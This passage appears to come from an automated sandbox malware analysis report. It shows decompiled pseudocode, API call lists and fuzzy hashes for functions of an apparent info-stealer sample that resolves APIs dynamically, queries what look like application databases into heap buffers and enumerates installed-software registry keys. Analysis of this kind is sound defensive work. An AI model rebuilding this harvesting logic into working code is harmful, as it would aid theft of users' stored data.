				struct HINSTANCE__* _t28;

				_t1 =  *0x41a6a4; // 0x7672c0
				 *0x41a82c = LoadLibraryA(_t1);
				if( *0x41a82c == 0) {
					return 0;
				}
				_t18 =  *0x41a4d0; // 0x767fe8
				_t24 =  *0x41a82c; // 0x0
				 *0x41a830 = GetProcAddress(_t24, _t18);
				_t5 =  *0x41a0ec; // 0x7688d0
				_t19 =  *0x41a82c; // 0x0
				 *0x41a7e8 = GetProcAddress(_t19, _t5);
				_t25 =  *0x41a43c; // 0x7681b0
				_t7 =  *0x41a82c; // 0x0
				 *0x41a804 = GetProcAddress(_t7, _t25);
				_t20 =  *0x41a41c; // 0x768950
				_t26 =  *0x41a82c; // 0x0
				 *0x41a820 = GetProcAddress(_t26, _t20);
				_t10 =  *0x41a454; // 0x768870
				_t21 =  *0x41a82c; // 0x0
				 *0x41a808 = GetProcAddress(_t21, _t10);
				_t27 =  *0x41a684; // 0x7681c8
				_t12 =  *0x41a82c; // 0x0
				 *0x41a834 = GetProcAddress(_t12, _t27);
				_t22 =  *0x41a570; // 0x768b50
				_t28 =  *0x41a82c; // 0x0
				 *0x41a810 = GetProcAddress(_t28, _t22);
				_t15 =  *0x41a6f8; // 0x768ab0
				_t23 =  *0x41a82c; // 0x0
				 *0x41a818 = GetProcAddress(_t23, _t15);
				return 1;
			}

0x00407063
0x0040706f
0x0040707b
0x00000000
0x0040714b
0x00407081
0x00407088
0x00407095
0x0040709a
0x004070a0
0x004070ad
0x004070b2
0x004070b9
0x004070c5
0x004070ca
0x004070d1
0x004070de
0x004070e3
0x004070e9
0x004070f6
0x004070fb
0x00407102
0x0040710e
0x00407113
0x0040711a
0x00407127
0x0040712c
0x00407132
0x0040713f
0x00000000

APIs

LoadLibraryA.KERNEL32(007672C0,?,0040A721,?,004067AC,?,00000000,00000000,00000000,?,00000104,?,00001388), ref: 00407069
GetProcAddress.KERNEL32(00000000,00767FE8), ref: 0040708F
GetProcAddress.KERNEL32(00000000,007688D0), ref: 004070A7
GetProcAddress.KERNEL32(00000000,007681B0), ref: 004070BF
GetProcAddress.KERNEL32(00000000,00768950), ref: 004070D8
GetProcAddress.KERNEL32(00000000,00768870), ref: 004070F0
GetProcAddress.KERNEL32(00000000,007681C8), ref: 00407108
GetProcAddress.KERNEL32(00000000,00768B50), ref: 00407121
GetProcAddress.KERNEL32(00000000,00768AB0), ref: 00407139

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction ID: 2672694bce1a196fb14c5d12644c19629fc0bc7f4ce699a9cda348cbaa83b162
Opcode Fuzzy Hash: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction Fuzzy Hash: 64210DB56262009FC344EBB8ED889B637E9B74C315711C53AE505C3261D635A462CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00435AA7, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

__get_printf_count_output.LIBCMTD ref: 00435AB9
_write_multi_char.LIBCMTD ref: 004360CE
_write_string.LIBCMTD ref: 004360E9
_write_multi_char.LIBCMTD ref: 00436115
_wctomb_s.LIBCMTD ref: 00436192

Strings

-, xrefs: 0043606E

Memory Dump Source

Source File: 00000017.00000002.387781269.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_42e000_B50.jbxd

Similarity

API ID: _write_multi_char$__get_printf_count_output_wctomb_s_write_string
String ID: -
API String ID: 3263840866-2547889144
Opcode ID: 81e5bed6dd85ffebbc8d55095f4ca1e50432325b7ab11abb84a3f30d63460b1b
Instruction ID: b0b45a09ad007e2f5d320325a6727f25c7918baab2fd3b1644e1a860d0899bbd
Opcode Fuzzy Hash: 81e5bed6dd85ffebbc8d55095f4ca1e50432325b7ab11abb84a3f30d63460b1b
Instruction Fuzzy Hash: 61A1AEB0D012299BDF24DF55CC4ABEEB7B0AB48304F2491DAE5197A281D7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004358F5, Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMTD ref: 004360CE
_write_string.LIBCMTD ref: 004360E9
_write_multi_char.LIBCMTD ref: 00436115
_wctomb_s.LIBCMTD ref: 00436192

Strings

-, xrefs: 0043606E
xD@, xrefs: 0043591C

Memory Dump Source

Source File: 00000017.00000002.387781269.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_42e000_B50.jbxd

Similarity

API ID: _write_multi_char$_wctomb_s_write_string
String ID: -$xD@
API String ID: 1811813154-1745409720
Opcode ID: 036fac203b307a2574c6799a5b60b093fea135462776d218bb9be15f9bb35352
Instruction ID: 8c9c2e2193875e35a77b06e75e163bb3fac675c921a686da393ea178d535290c
Opcode Fuzzy Hash: 036fac203b307a2574c6799a5b60b093fea135462776d218bb9be15f9bb35352
Instruction Fuzzy Hash: 48A179B0D016299BDF24DF54CC89BEEB7B1AB88305F1491DAE4186A281D7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00409590, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 94
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00409590(void* __ecx, void* __eflags, intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				char _v276;
				intOrPtr _v280;
				char _v284;
				char _v288;
				intOrPtr _v292;
				CHAR* _t27;
				void* _t30;
				void* _t32;
				void* _t38;
				intOrPtr _t44;
				intOrPtr _t58;
				void* _t64;
				void* _t66;
				void* _t67;
				void* _t70;

				E0040B720( &_v276, 0x104);
				_t2 =  &_a8; // 0x767450
				_t27 =  *0x41a07c; // 0x768910
				wsprintfA( &_v276, _t27, _a12,  *_t2);
				_t58 =  *0x41a294; // 0x7671a8
				_v280 = _t58;
				_t30 =  *0x41a830(_a4,  &_v8);
				_t66 = _t64 + 0x18;
				if(_t30 == 0) {
					_t32 =  *0x41a7e8(_v8, _v280, 0xffffffff,  &_v284, 0);
					_t67 = _t66 + 0x14;
					if(_t32 != 0) {
						L6:
						 *0x41a808(_v284);
						return  *0x41a834(_v8);
					}
					_v288 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t38 =  *0x41a804(_v284);
						_t70 = _t67 + 4;
						if(_t38 != 0x64) {
							break;
						}
						_t44 =  *0x41a820(_v284, 0);
						_t67 = _t70 + 8;
						_v292 = _t44;
						 *0x41aa24(_v288, _v292);
						 *0x41aa24(_v288, "\n");
					}
					E004137E0(_a16,  &_v276, _v288,  *0x41a908(_v288));
					_t67 = _t70 + 0x10;
					E0040B720( &_v288, 4);
					goto L6;
				}
				return _t30;
			}

0x004095a5
0x004095aa
0x004095b2
0x004095bf
0x004095c8
0x004095ce
0x004095dc
0x004095e2
0x004095e7
0x00409603
0x00409609
0x0040960e
0x004096b9
0x004096c0
0x00000000
0x004096d3
0x00409628
0x0040962e
0x00409635
0x0040963b
0x00409641
0x00000000
0x00000000
0x0040964c
0x00409652
0x00409655
0x00409669
0x0040967b
0x0040967b
0x004096a3
0x004096a8
0x004096b4
0x00000000
0x004096b4
0x004096d9

APIs

wsprintfA.USER32 ref: 004095BF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040961B
RtlAllocateHeap.NTDLL(00000000), ref: 00409622
lstrcat.KERNEL32(?,?), ref: 00409669
lstrcat.KERNEL32(?,00418BC4), ref: 0040967B
lstrlen.KERNEL32(?), ref: 0040968A

Strings

Ptv, xrefs: 004095AA, 004095AD

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID: Ptv
API String ID: 2177231248-1640537945
Opcode ID: 118ae59d0f25a22a12b371e08b370f69fa651aeb9a5a1d3569fc809063f8c249
Instruction ID: 0f4305f0ea4e8f12541be8dfce34b0e085d7d14125619b5af487afca8afb3160
Opcode Fuzzy Hash: 118ae59d0f25a22a12b371e08b370f69fa651aeb9a5a1d3569fc809063f8c249
Instruction Fuzzy Hash: 263186B1900108ABCB14DFA4DD46FDA73B8AF4C704F0085A9F70997281D635DEA1CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00576B40, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75timestringCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,?,00000104), ref: 00576BC1
lstrcat.KERNEL32(?,8Sv), ref: 00576BD5
sscanf.NTDLL ref: 00576C13
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00576C27
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00576C38
ExitProcess.KERNEL32 ref: 00576C52

Strings

8Sv, xrefs: 00576BC7, 00576BCD

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: Time$System$File$ExitProcesslstrcatsscanf
String ID: 8Sv
API String ID: 2797641603-4257855396
Opcode ID: c61bb436b804f0d06a8e2a80b3f30031f21c3dbbfd9811cb7010ad7d772f11a9
Instruction ID: ca8f9fceb9d7ef6e27341c20ced59a284a7126da69a1809779db2138a5ec183e
Opcode Fuzzy Hash: c61bb436b804f0d06a8e2a80b3f30031f21c3dbbfd9811cb7010ad7d772f11a9
Instruction Fuzzy Hash: 9131EEB2D1121CABCB58DF94DD85ADEB7B9AF48300F00C5EAE149A2150EB345B98CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040B39D, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 51
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E0040B39D() {
				long _t36;
				char* _t66;
				intOrPtr _t73;
				char* _t76;
				void* _t81;

				L0:
				while(1) {
					L0:
					 *(_t81 - 0xc1c) =  *(_t81 - 0xc1c) + 1;
					if( *((intOrPtr*)(_t81 - 0x814)) != 0) {
						break;
					}
					L2:
					 *(_t81 - 0x818) = 0x400;
					 *((intOrPtr*)(_t81 - 0x814)) = RegEnumKeyExA( *(_t81 - 0x810),  *(_t81 - 0xc1c), _t81 - 0x408, _t81 - 0x818, 0, 0, 0, 0);
					if( *((intOrPtr*)(_t81 - 0x814)) != 0) {
						L11:
						continue;
					} else {
						L3:
						_push(_t81 - 0x408);
						_t73 =  *0x41a230; // 0x765c50
						_push(_t73);
						wsprintfA(_t81 - 0x808, "%s\%s");
						if(RegOpenKeyExA(0x80000002, _t81 - 0x808, 0, 0x20019, _t81 - 0x80c) == 0) {
							L5:
							 *(_t81 - 0x818) = 0x400;
							_t76 =  *0x41a71c; // 0x7692b0
							if(RegQueryValueExA( *(_t81 - 0x80c), _t76, 0, _t81 - 4, _t81 - 0xc18, _t81 - 0x818) == 0) {
								L6:
								_push(_t81 - 0xc18);
								if( *0x41a908() > 1) {
									L7:
									 *0x41aa24( *((intOrPtr*)(_t81 + 8)), _t81 - 0xc18);
									 *(_t81 - 0x818) = 0x400;
									_t66 =  *0x41a450; // 0x769100
									if(RegQueryValueExA( *(_t81 - 0x80c), _t66, 0, _t81 - 4, _t81 - 0xc18, _t81 - 0x818) == 0) {
										 *0x41aa24( *((intOrPtr*)(_t81 + 8)), " ");
										 *0x41aa24( *((intOrPtr*)(_t81 + 8)), _t81 - 0xc18);
									}
									L9:
									 *0x41aa24( *((intOrPtr*)(_t81 + 8)), "\n");
								}
							}
							L10:
							RegCloseKey( *(_t81 - 0x80c));
							goto L11;
						} else {
							L4:
							RegCloseKey( *(_t81 - 0x80c));
							_t36 = RegCloseKey( *(_t81 - 0x810));
						}
					}
					L13:
					return _t36;
					L14:
				}
				L12:
				_t36 = RegCloseKey( *(_t81 - 0x810));
				goto L13;
			}

0x0040b39d
0x0040b39d
0x0040b39d
0x0040b3a6
0x0040b3b3
0x00000000
0x00000000
0x0040b3b9
0x0040b3b9
0x0040b3ed
0x0040b3fa
0x0040b535
0x00000000
0x0040b400
0x0040b400
0x0040b406
0x0040b407
0x0040b40d
0x0040b41a
0x0040b445
0x0040b466
0x0040b466
0x0040b484
0x0040b49a
0x0040b4a0
0x0040b4a6
0x0040b4b0
0x0040b4b2
0x0040b4bd
0x0040b4c3
0x0040b4e1
0x0040b4f7
0x0040b502
0x0040b513
0x0040b513
0x0040b519
0x0040b522
0x0040b522
0x0040b4b0
0x0040b528
0x0040b52f
0x00000000
0x0040b447
0x0040b447
0x0040b44e
0x0040b45b
0x0040b45b
0x0040b445
0x0040b547
0x0040b54a
0x00000000
0x0040b54a
0x0040b53a
0x0040b541
0x00000000

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 0040B3E7
wsprintfA.USER32 ref: 0040B41A
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,00000000), ref: 0040B43D
RegCloseKey.ADVAPI32(00000000), ref: 0040B44E
RegCloseKey.ADVAPI32(00000000), ref: 0040B45B
RegQueryValueExA.ADVAPI32(00000000,007692B0,00000000,000F003F,?,00000400), ref: 0040B492
lstrlen.KERNEL32(?), ref: 0040B4A7
lstrcat.KERNEL32(?,?), ref: 0040B4BD
RegQueryValueExA.ADVAPI32(00000000,00769100,00000000,000F003F,?,00000400), ref: 0040B4EF
lstrcat.KERNEL32(?,00419238), ref: 0040B502
lstrcat.KERNEL32(?,?), ref: 0040B513
lstrcat.KERNEL32(?,00418BC4), ref: 0040B522
RegCloseKey.ADVAPI32(00000000), ref: 0040B52F
RegCloseKey.ADVAPI32(00000000), ref: 0040B541

Strings

P\v, xrefs: 0040B407
%s\%s, xrefs: 0040B40E

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: Closelstrcat$QueryValue$EnumOpenlstrlenwsprintf
String ID: %s\%s$P\v
API String ID: 199769609-3981580512
Opcode ID: a4012638aad7033c914fdd1a0f1ca3e258b17949767a5016186a6d4b83d2670b
Instruction ID: 9546bb00d88ab29d98338f3d9e51bb631a883dd56483db4c703a054c40f4693a
Opcode Fuzzy Hash: a4012638aad7033c914fdd1a0f1ca3e258b17949767a5016186a6d4b83d2670b
Instruction Fuzzy Hash: 86110DB1901218ABDB20CB50DD45FE9B3B8FB48704F00C5E9A249A6181DB745AD6CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00576380, Relevance: 12.2, APIs: 5, Strings: 3, Instructions: 150stringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005763BC
lstrcpy.KERNEL32(?,00000000), ref: 0057640C
lstrcpy.KERNEL32(?,00000000), ref: 0057643A
lstrcpy.KERNEL32(?,00000000), ref: 00576468
lstrcpy.KERNEL32(?,00000000), ref: 00576496

Strings

dv, xrefs: 005763AF, 005763B4
`fv, xrefs: 00576479, 0057647E
Hfv, xrefs: 0057641D, 00576422

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: lstrcpy$wsprintf
String ID: Hfv$`fv$dv
API String ID: 553454533-3157419316
Opcode ID: aa32a037b7bd4a0b7568ab49524ffa8f354fa4865ca45a1c5ffad3e0f155a9a0
Instruction ID: 0ac544c2b6a4bc3c7a41dd098f013dd2e2fe5a7b86e956fd767d7ae554df8662
Opcode Fuzzy Hash: aa32a037b7bd4a0b7568ab49524ffa8f354fa4865ca45a1c5ffad3e0f155a9a0
Instruction Fuzzy Hash: A95186B6D00108BBD715EF94EC4AFDA7778BB8C304F0485A8F60D92141E674DA94DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00406130, Relevance: 12.2, APIs: 5, Strings: 3, Instructions: 150
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00406130(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, char _a24, intOrPtr _a28, intOrPtr _a32) {
				char _v8;
				char _v276;
				char _v540;
				intOrPtr _v544;
				char _v548;
				char _v552;
				char _v556;
				CHAR* _t43;
				void* _t45;
				intOrPtr _t46;
				void* _t49;
				intOrPtr _t50;
				void* _t53;
				intOrPtr _t54;
				void* _t57;
				intOrPtr _t58;
				intOrPtr _t62;
				char _t73;
				void* _t99;
				void* _t100;
				void* _t109;

				E0040B720( &_v540, 0x104);
				E0040B720( &_v276, 0x104);
				_t43 =  *0x41a200; // 0x7664e0
				_t76 =  &_v540;
				wsprintfA( &_v540, _t43, _a4);
				_t100 = _t99 + 0xc;
				_t114 = _a28;
				if(_a28 == 0) {
					_v8 = _a24;
				} else {
					_t73 = E00413730(0, 0x6400000, 0);
					_t100 = _t100 + 0xc;
					_v8 = _t73;
				}
				_t45 = E0040BF50(_t76, _t114, 0x1a);
				_t46 =  *0x41a574; // 0x7666a8
				 *0x41aac8( &_v276, E0040BEB0(_a12, _t46, _t45));
				_t49 = E0040BF50(_a12, _t114, 0x1c);
				_t50 =  *0x41a518; // 0x766648
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t50, _t49));
				_t53 = E0040BF50( &_v276, _t114, 0x28);
				_t54 =  *0x41a2f8; // 0x7666c0
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t54, _t53));
				_t57 = E0040BF50( &_v276, _t114, 0x10);
				_t58 =  *0x41a494; // 0x766660
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t58, _t57));
				_t62 = E0040C090(_a16, ",",  &_v548);
				_t109 = _t100 + 0x4c;
				_v544 = _t62;
				while(1) {
					_t115 = _v544;
					if(_v544 == 0) {
						break;
					}
					E00405E40( &_v276, _t115, _a4, _v8, 0x41401a,  &_v276, _v544, _a20, _a8, _a28, _a32);
					_t62 = E0040C090(0, ",",  &_v548);
					_t109 = _t109 + 0x30;
					_v544 = _t62;
				}
				__eflags = _a28;
				if(_a28 != 0) {
					E00413800(_v8,  &_v552,  &_v556);
					E004137E0(_a24,  &_v540, _v552, _v556);
					return E0040B720( &_v8, 4);
				}
				return _t62;
			}

0x00406145
0x00406156
0x0040615f
0x00406165
0x0040616c
0x00406172
0x00406175
0x00406179
0x00406194
0x0040617b
0x00406184
0x00406189
0x0040618c
0x0040618c
0x00406199
0x004061a2
0x004061bc
0x004061c4
0x004061cd
0x004061ea
0x004061f2
0x004061fb
0x00406218
0x00406220
0x00406229
0x00406246
0x0040625c
0x00406261
0x00406264
0x0040626a
0x0040626a
0x00406271
0x00000000
0x00000000
0x0040629e
0x004062b4
0x004062b9
0x004062bc
0x004062bc
0x004062c4
0x004062c8
0x004062dc
0x004062fd
0x00000000
0x0040630b
0x00406313

APIs

wsprintfA.USER32 ref: 0040616C
lstrcpy.KERNEL32(?,00000000), ref: 004061BC
lstrcpy.KERNEL32(?,00000000), ref: 004061EA
lstrcpy.KERNEL32(?,00000000), ref: 00406218
lstrcpy.KERNEL32(?,00000000), ref: 00406246

Strings

dv, xrefs: 0040615F
`fv, xrefs: 00406229
Hfv, xrefs: 004061CD

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: lstrcpy$wsprintf
String ID: Hfv$`fv$dv
API String ID: 553454533-3157419316
Opcode ID: 339612030bc37ffdbe752cae41bfb9cb2c421f843c437781f6b1cccd39fe225c
Instruction ID: 97311c7f6f8bc2fe4aa679da1049fe92a67fa3411fccba4dc07eac06f42ff0f5
Opcode Fuzzy Hash: 339612030bc37ffdbe752cae41bfb9cb2c421f843c437781f6b1cccd39fe225c
Instruction Fuzzy Hash: 365177F690010CBBC715EF94DC46FDB7378AB5C304F0445A9F609A7181EA78AA94CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00579650, Relevance: 12.1, APIs: 8, Instructions: 107stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0057967F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 005796D5
RtlAllocateHeap.NTDLL(00000000), ref: 005796DC
lstrcat.KERNEL32(?,?), ref: 0057973F
lstrcat.KERNEL32(?,004191EC), ref: 00579751
lstrcat.KERNEL32(?,?), ref: 00579765
lstrcat.KERNEL32(?,00418BC4), ref: 00579777
lstrlen.KERNEL32(?), ref: 00579789

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: b84b80bc3ef8a66e1ec50053915ad1ece2d15714b502d0903898013e999a1153
Instruction ID: 93071f2b38d7d6aff55e0de4df9f480ae7934ce72e6dfcebf485237bb6abff65
Opcode Fuzzy Hash: b84b80bc3ef8a66e1ec50053915ad1ece2d15714b502d0903898013e999a1153
Instruction Fuzzy Hash: A34194B1900118ABCB18EFA4DD4AFDA77B8BF48701F008594F70997151D6759EA0CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 005788A0, Relevance: 12.1, APIs: 8, Instructions: 107stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005788CF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0057891F
RtlAllocateHeap.NTDLL(00000000), ref: 00578926
lstrcat.KERNEL32(?,?), ref: 00578989
lstrcat.KERNEL32(?,00418BC4), ref: 0057899B
lstrcat.KERNEL32(?,?), ref: 005789AF
lstrcat.KERNEL32(?,00418BC0), ref: 005789C1
lstrlen.KERNEL32(?), ref: 005789D3

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 1119712f637d9eb64d062cc267114afa9ce115c682cd0cc618dc5df66b8733dd
Instruction ID: 83c57aa63aa76cc6fdc18d21e6e8b51614221cd9cecbb8a751de977f857465f2
Opcode Fuzzy Hash: 1119712f637d9eb64d062cc267114afa9ce115c682cd0cc618dc5df66b8733dd
Instruction Fuzzy Hash: FB4174B1900108ABCB14EBA4DD4AFEA77B8BF48704F008594F70997151DB35EEA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00408650, Relevance: 12.1, APIs: 8, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00408650(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				char _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v276, 0x104);
				_t30 =  *0x41a418; // 0x768990
				wsprintfA( &_v276, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v8);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a790; // 0x7627b0
					_t35 =  *0x41a7e8(_v8, _t67, 0xffffffff,  &_v280, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v280);
						return  *0x41a834(_v8);
					}
					_v284 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v280);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v280, 0);
						_t48 =  *0x41a820(_v280, 1);
						_t76 = _t79 + 0x10;
						_v292 = _t48;
						 *0x41aa24(_v284, _v288);
						 *0x41aa24(_v284, "\n");
						 *0x41aa24(_v284, _v292);
						 *0x41aa24(_v284, "\n\n");
					}
					E004137E0(_a24,  &_v276, _v284,  *0x41a908(_v284));
					_t76 = _t79 + 0x10;
					E0040B720( &_v284, 4);
					goto L6;
				}
				return _t33;
			}

0x00408665
0x00408672
0x0040867f
0x00408690
0x00408696
0x0040869b
0x004086ac
0x004086b7
0x004086bd
0x004086c2
0x004087b2
0x004087b9
0x00000000
0x004087cc
0x004086dc
0x004086e2
0x004086e9
0x004086ef
0x004086f5
0x00000000
0x00000000
0x0040870d
0x0040871c
0x00408722
0x00408725
0x00408739
0x0040874b
0x0040875f
0x00408771
0x00408771
0x0040879c
0x004087a1
0x004087ad
0x00000000
0x004087ad
0x004087d2

APIs

wsprintfA.USER32 ref: 0040867F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004086CF
RtlAllocateHeap.NTDLL(00000000), ref: 004086D6
lstrcat.KERNEL32(?,?), ref: 00408739
lstrcat.KERNEL32(?,00418BC4), ref: 0040874B
lstrcat.KERNEL32(?,?), ref: 0040875F
lstrcat.KERNEL32(?,00418BC0), ref: 00408771
lstrlen.KERNEL32(?), ref: 00408783

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: cbaa3a57402c93d3f6ac8d8f06c7d0ef17fa834f40e1eb2d1f60f83834225a72
Instruction ID: 955311191cc75421edc53ced7400f0f4475059767564ca96251eab490a2998f9
Opcode Fuzzy Hash: cbaa3a57402c93d3f6ac8d8f06c7d0ef17fa834f40e1eb2d1f60f83834225a72
Instruction Fuzzy Hash: 5F41A9B1900108ABCB14DBA4DD46FDA7778AF4C705F0085A9F70997141DB35DAA1CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0043CCE4, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 222COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMTD ref: 0043D4FB
_write_string.LIBCMTD ref: 0043D516
_write_multi_char.LIBCMTD ref: 0043D542
__mbtowc_l.LIBCMTD ref: 0043D5B1

Strings

xD@, xrefs: 0043CD0B

Memory Dump Source

Source File: 00000017.00000002.387781269.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_42e000_B50.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_write_string
String ID: xD@
API String ID: 153657362-1198140267
Opcode ID: 249ea9c8f2937d28fe37466cb5adc78b200cd23738bba106097d4660bcb84d80
Instruction ID: a0fa622fd656091aa1872591359219c2206a59ec01df8cfd09ab98bfc034cd9f
Opcode Fuzzy Hash: 249ea9c8f2937d28fe37466cb5adc78b200cd23738bba106097d4660bcb84d80
Instruction Fuzzy Hash: 69A17DF1D00228DFDB24DF54CC81BAEB7B5AB48305F14919AE6197B281D738AE84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0057B2E0, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0057B2F4
RtlAllocateHeap.NTDLL(00000000), ref: 0057B2FB
RegOpenKeyExA.ADVAPI32(80000002,0041A3F4,00000000,00020119,X[W), ref: 0057B31B
RegQueryValueExA.ADVAPI32(X[W,0041A4DC,00000000,00000000,?,000000FF), ref: 0057B33C
RegCloseKey.ADVAPI32(X[W), ref: 0057B346

Strings

X[W, xrefs: 0057B304, 0057B342, 0057B338, 0057B307, 0057B33B, 0057B345

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: X[W
API String ID: 3225020163-833545938
Opcode ID: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction ID: c2de1da131c3a5f9d72dcf6047510414215afd3dd431493b22473b3316180396
Opcode Fuzzy Hash: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction Fuzzy Hash: 98014FB5A41208BFE700DFE0ED49FEEB7B8EB48700F008568FA05A7291D6745A50CB56

Uniqueness

Uniqueness Score: -1.00%

